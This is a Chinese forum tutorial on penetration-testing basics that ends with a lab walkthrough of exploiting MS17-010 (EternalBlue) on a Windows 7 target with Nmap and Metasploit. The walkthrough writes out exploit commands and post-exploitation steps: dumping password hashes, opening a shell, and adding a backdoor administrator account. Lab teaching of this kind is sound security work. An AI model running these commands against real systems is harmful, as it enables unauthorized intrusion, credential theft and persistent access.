ToB企服应用市场:ToB评测及商务社交产业平台
标题:
渗透基础+永恒之蓝演练
[打印本页]
作者:
种地
时间:
2023-11-2 02:24
标题:
渗透基础+永恒之蓝演练
第一节 渗透测试-概述
1.1 渗透测试定义
渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如涉及缺陷和技术缺陷。渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析。渗透测试的意义:站在第三者的角度来思考企业系统的安全性。渗透测试通常具有两个显著特点:
渗透测试是一个渐进的且逐步深入的过程
渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试
1.2 渗透测试分类
1.2.1 渗透测试方法分类
1.2.1.1 黑盒测试
黑盒测试:也可叫功能测试,是一种从用户角度出发的测试。把被测程序当作一个黑盒子,测试人员完全不用考虑盒子里面的逻辑结构和具体运作,只依据程序的需求规格说明书,检查程序的功能是否符合它的功能说明。主要的测试方法有等价划分类,错误推测法等。通过软件的外部表现来发现其缺陷和错误。黑盒测试发把黑盒测试看成一个黑盒子,完全不考虑程序内部结构和处理过程。黑盒测试是在程序界面进行测试,它只是检查样序是否按照需求规格说明书的规定正常实现。
1.2.1.2 白盒测试
白盒测试也称为结构测试。它根据程序的控制结构设计测试用例,测试人员会利用程序内部的逻辑结构及有关信息,通过在不同点检查程序状态,检验程序中的每条通路是否都能按预定要求进行正确工作。通过对程序内部结构的分析、检测来寻找问题。白盒测试可以把程序看成装在一个透明的白盒子里,也就是清楚了解程序结构和处理过程,检查是否所有的结构及路径都是正确的,检查软件内部动作是否按照设计说明的规定正常进行。
1.2.1.3 灰盒测试
灰盒测试:是介于白盒测试与黑盒测试之间的一种测试,灰盒测试多用于集成测试阶段,不仅关注输出、输入的正确性,同时也关注程序内部的情况。灰盒测试不像白盒那样详细、完整,但又比黑盒测试更关注程序的内部逻辑。介于白盒测试与黑盒测试之间的测试。灰盒测试关注输出对于输入的准确性,同时也关注内部表现,但这种关注不想白盒测试那样详细、完整,只是通过一些表征性的现象、事件、标志来判断内部的运行状态。灰盒测试结合了白盒测试和黑盒测试的要素。它考虑了用户端、特定的系统知识和操作环境。它在系统组件的协同性环境中评价应用软件的设计。
1.2.1.4 三者的区别
从测试目标和依据来说:黑盒面对的是产品设计,白盒针对的是程序功能的实现,灰盒针对兼而有之,既要考虑产品设计要求,又考虑到功能实现的效果从实现者而言:黑盒在意的是客户的角度,白盒测试针对的研发人员。从测试模块颗粒度而言:白盒在意的是代码实现层面,而灰盒更加侧重模块之间,而黑盒更在于用户层面。
1.2.2 渗透目标分类
主机操作系统测试:对Windows,Solaris,AIX,Linux,SCO,SGI等操作系统本身进行渗透测试。
数据库系统渗透:对MS-SQL,Oracle,MySQL,informix,Sybase,DB2,access等数据库应用系统进行渗透测试。
应用系统测试:对渗透目标提供的各种应用,如ASP,CGI,JSP,PHP等组成的WWW应用进行渗透测试。
网络设备渗透:各种防火墙,入侵检测系统,路由器,交换机等网络设备进行渗透测试。
1.2.3 渗透测试的位置分类
内网渗透:模拟客户内部违规操作者的行为,在内网对目标进行渗透测试
外网渗透:模拟对内部状态一无所知的攻击者的行为(包括对网络设备的远程攻击,口令管理安全测试,防火墙规则试探和规避,web及其他开放应用服务的安全测试等),从外网对目标进行渗透测试。
1.3 渗透测试环节
渗透测试环节:PTES
前期交互阶段(Pre-Engagement Interaction)
范围(需求)
目标
限制条件
服务合同细节
情报搜集阶段(Information Gathering)
公开来源信息查询
Google
Hacking
社会工程学
网络踩点
扫描探测
被动监听
服务查点
威胁建模阶段(Threat Modeling)
规划攻击
资产分析
威胁分析
漏洞分析阶段(Vulnerability Analysis)
渗透攻击阶段(Exploitation)
后渗透攻击阶段(Post Exploitation)(清除痕迹)
报告阶段(Reporting)
分析薄弱环节
存在的问题
修补与升级技术
第二节 工具介绍
2.1 kali
<img >kali首先是一个操作系统,更确切的说它是一个基于Linux kernel的操作系统,该系统从BackTrack发展而来。而BT是2006年推出的一个用于渗透测试及黑客攻防的专用平台,基于Knoppix(Linux的一个发行版本)开发。Backtrack从2006年的发起版本BackTrack v1.0Beta开始,到2012年推出最终版本BackTrack 5 R3 relerse。之后,2013年offensive Security的Mati Aharoni和Devon Kearns基于Debian重新实现了BackTrack,新的产品命名为kali,从此kali成为新的替代产品和后继者。Kali有以下几个主要特征:
kali是基于Debian的Linux发行版
kali预装了大量的安全工具
kali是永久免费的
kali支持大量的无线设备
kali系统自身是安全的
kali是一个面向安全的基于Debian的linux发行版,预装了大量的安全软件。其主要功能有三个:数字取证、安全审计、渗透测试。
数字取证
数字取证主要是针对各种电子证据进行识别、收集、保存和分析,用来发现网络和系统的各种入侵行为,为进一步的安全处理提供依据。kali系统提供的数字取证工具很多,可分为数据备份、数据恢复、数据分析和文件取证四种类型,比如:数字备份的Dc3dd,磁盘备份工具Dcfidd,Linux硬盘数据恢复工具dd_rescue,磁盘数据恢复工具Safecopy,文件还原工具Foremost,日志文件系统快查看工具Jact,磁盘镜像分析工具TSK,信息批量提取工具bulk-extrackor,磁盘取证工具Guymager等。
安全审计
安全审计是由“专业审计人员根据有关的法律法规、财产所有者的委托和管理当局的授权,对计算机网络环境下的有关活动或行为进行系统的、独立的检查认证,并作出相应评价”。安全审计涉及四个基本要素:控制目标、安全漏洞、控制措施和控制测试。kali系统提供的安全审计工具有:安全审计工具Lynis,无线安全审计工具FruityWifi,Web应用程序安全设计工具箱Watobo等。
渗透测试
渗透测试是kali系统最主要的功能,他是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。渗透测试有两个主要的特点:首先,渗透测试是一个渐进的并且逐步深入的过程;其次,渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。渗透测试包括信息收集、漏洞扫描、漏洞利用、密码攻击、权限提升,以及针对特定应用或平台的渗透,如web渗透、无线网络渗透等。kali系统提供的渗透测试工具涵盖以上各个方面,主要有:
用于信息搜集的Nmap、Dnsenum,Amap,Webscrab、Recon-NC等;
用于漏洞扫描的Nessus、OpenVAS;用于漏洞利用的Metasploit、w3af;
用于密码工具的Hydra、Ettercap,Msfconsole,DirBuster、WebSlayer等;
用于权限提升的Metperter、SET;
用于无线网络渗透的kismet,aircrack-NG,Gerix WIFI Cracker等
官网:
https://www.kali.org
2.2 NMAP
<img alt="" loading="lazy">
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网路连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行那个操作系统(这是亦称fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
nmap的基本功能:
检测存活在网络上的设备(设备发现)【主机发现Host Discovery】
检测开放的端口号(端口发现或枚举)【端口扫描Port Scanning】
检测到相应的端口号(服务发现)的软件和版本【版本侦测Version Detection】
检测操作系统,硬件地址,以及软件地址【操作系统侦测Operating System Detection】
而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑)
首先,需要进行主机发现,
其次,确定端口状态,
再次,确定端口上运行的具体应用程序和版本信息,
然后,可以进行操作系统的侦测。
而在这四项功能的基础上,nmap还提供强大的NSE(nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。
Nmap的优点:
灵活:支持数十种不同的扫描方式,支持多种目标对象的扫描
强大:Nmap可以用于扫描互联网上大规模的计算机
可移植:支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方面移植
简单:提供默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap -A targetip
自由:Nmap作为开源软件,在GPL License的范围内可以自由的使用
文档丰富:Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍
社区支持:Nmap背后有强大的社区团队支持
官网
https://nmap.org
源码
https://github.com/nmap/nmap
2.3 Metasploit
<img > Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit,而且Metasploit框架在这些系统上的工作流程基本都一样。第三节的示例是以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。 MSF可向后端模块提供多种用来控制测试的接口,如控制台、web、GUI、CLI等,通过这些接口访问和使用MSF中的所有插件工具,同时MSF控制台还有第三方程序的接口,例如nmap、sqlmap等。MSF可以运行在Linux和windows环境下,我们一般通常都在kali linux操作系统上使用。因为MSF的更新使用kali上的更新命令和更新源即可。
模块介绍
渗透攻击模块(exploit):利用发现的安全漏洞或配置弱点对远程目标系统进行工具的代码;
辅助模块(Aux):实现信息收集及口令猜测、Dos攻击等无法直接取得服务器权限的攻击。验证漏洞是否存在;
攻击载荷模块(payload):攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码
后期渗透模块(Post):该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
编码工具模块(Encoders):该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检查出来。
功能介绍
Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此他们有可能会被类似netcat这样非metasploit处理工具所捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件活应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察兵发动攻击,大致的步骤如下所示:
扫描目标机系统,寻找可用漏洞
选择并配置一个漏洞利用模块
选择并配置一个工具载荷模块
选择一个编码技术。用来绕过杀毒软件的查杀
渗透攻击
官网
www.metasploit.com
源码
https://github.com/rapid7/metasploit-framework
第三节 入门演练之MS17-010(永恒之蓝)
3.1 永恒之蓝
永恒之蓝原理是一种网络攻击技术,它利用了Windows操作系统中的漏洞,可以远程控制计算机并窃取敏感信息。这种攻击技术被认为是最具破坏性的网络攻击之一,因为它可以在不需要用户交互的情况下传播,而且很难被检测和防御。永恒之蓝原理的攻击方式是利用Windows操作系统中的漏洞,通过网络传播恶意代码。这种攻击方式可以在不需要用户交互的情况下传播,因此很难被检测和防御。一旦攻击成功,攻击者就可以远程控制受害者的计算机,并窃取敏感信息。永恒之蓝原理的攻击方式是非常危险的,因为它可以在不需要用户交互的情况下传播。这意味着即使用户没有打开任何文件或链接,他们的计算机也可能被攻击。此外,永恒之蓝原理的攻击方式很难被检测和防御,因为它利用了Windows操作系统中的漏洞,这些漏洞可能不会被及时修补。为了防止永恒之蓝原理的攻击,用户应该及时更新Windows操作系统和安装杀毒软件。此外,用户还应该避免打开来自不可信来源的文件和链接,以及使用强密码来保护自己的账户和数据。永恒之蓝原理是一种非常危险的网络攻击技术,它可以远程控制计算机并窃取敏感信息。为了保护自己的计算机和数据安全,用户应该及时更新Windows操作系统和安装杀毒软件,避免打开来自不可信来源的文件和链接,以及使用强密码来保护自己的账户和数据。
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。本次黑客使用的是Petya勒索病毒的变种Petwarp,攻击时仍然使用了永恒之蓝勒索漏洞,并会获取系统用户名与密码进行内网传播。本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术,使得病毒可以在短时间内呈爆发态势。同时,该病毒与普通勒索病毒不同,其不会对电脑中的每个文件都进行加密,而是通过加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。
SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.2 环境准备
靶机:windows 7 -IP:192.168.2.233
<img >攻击机:kali (带有Metasploit和NMAP工具)-IP:192.168.2.214
<img >注意事项:
攻击机和靶机需要再同一局域网下
win7不能带有以下补丁,否则将无法实现模拟攻击
<img alt="" loading="lazy">
3.3 演练过程
3.3.1 信息收集
进入kali,启动控制台,以管理员权限运行
CMD $> sudo su #启用超管身份
CMD $> ******** # kali 密码
CMD #>
复制代码
<img alt="" loading="lazy">
运行nmap,并扫描网络端口
CMD #> nmap -T4 -A -v 192.168.2.1/24
命令讲解:
-A:用于使用进行性方式扫描
-T4:扫描过程使用时序,总有6个级别(0~5),不建议太高容易被网络设备封杀(建议:3/4)
-v:显示冗余信息,在扫描过程中显示扫描的细节
192.168.2.1/24:扫描192.168.2.X网段内的所有机器
-- 也可以使用 man nmap 查看对用的操作手册
复制代码
<img ><img ><img >
可以进行单IP扫描
CMD #>nmap 192.168.2.233
复制代码
<img >
关于端口说明可以查看附件1 常见端口
3.3.2 检查永恒之蓝漏洞
启动 Metasploit
CMD #>msfconsole
复制代码
查询ms17-010
msf6 #>search ms17-010 #查询ms17-010漏洞
复制代码
检查靶机是否存在ms17-010漏洞
msf6 #>use 3 #使用检测代码
msf6 auxiliary(scanner/smb/smb_ms17_010) #>show options #查看设置项
msf6 auxiliary(scanner/smb/smb_ms17_010) #>set rhost 192.168.2.233 #设置检查的目标ip
msf6 auxiliary(scanner/smb/smb_ms17_010) #>run #查询
复制代码
3.3.3 攻击靶机
启用攻击代码
msf6 auxiliary(scanner/smb/smb_ms17_010) #>use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) #>show options # 查看设置项
msf6 exploit(windows/smb/ms17_010_eternalblue) #>set rhost 192.168.2.233 #设置攻击IP,如果lhost未设置需要再单独设置一次
复制代码
开始攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) #>run #攻击
复制代码
meterpreter相关操作
meterpreter #> getuid #查看当前运行的权限
meterpreter #>screenshot #截取目标屏幕
meterpreter #>upload 截屏图片地址 C:\\ 把图片上传到目标C盘
meterpreter #>download C:\img.jpg /root/ #从目标机器下载文件
meterpreter #>hashdump #查看用户信息
复制代码
meterpreter #>shell
meterpreter #>chcp 65001
CMD #>net user #查看当前用户信息
CMD #>net user test 123456 /add #增加test用户(密码123456)
CMD #>net localgroup administrators test /add #设置用户为管理员用户
CMD #>exit
meterpreter #>hashdump
复制代码
CMD #>rdesktop ip #启动远程连接
复制代码
附件
附件1 常见端口
附件1.1 文件共享服务
端口服务说明20/21FTP/TFTP文件传输协议,利用方向:允许匿名上传、下载、暴力破解和嗅探2049NFS利用方向:配置不当139Samba利用方向:暴力破解、未授权访问、远程代码执行389LDAP目录访问协议利用方向:注入、允许匿名访问、弱口令445windows共享windows下一个共享文件夹和打印机端口
附件1.2 远程连接服务
端口服务说明22SSH利用方向:暴力破解、SSH隧道及内网代理转发、文件传输23Telnet利用方向:暴力破解、嗅探、弱口令3389RDP远程桌面,利用方向:Shift后门(windows server 2003以下版本)5900VNC利用方向:弱口令
附件1.3 WEB应用服务端口
端口服务说明80/443/8080常见web服务利用方向:web攻击、暴力破解、对应用服务版本攻击7001weblogic控制台利用方向:java反序列化、弱口令8080/8089jboss/Jenkins利用方向:反序列化、控制台弱口令9090websphere控制台/prometheus监控利用方向:反序列化、控制台弱口令300grafana利用方向:反序列化、控制台弱口令普法宣传人人有责。
国家法律法规数据库-中华人民共和国网络安全法
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4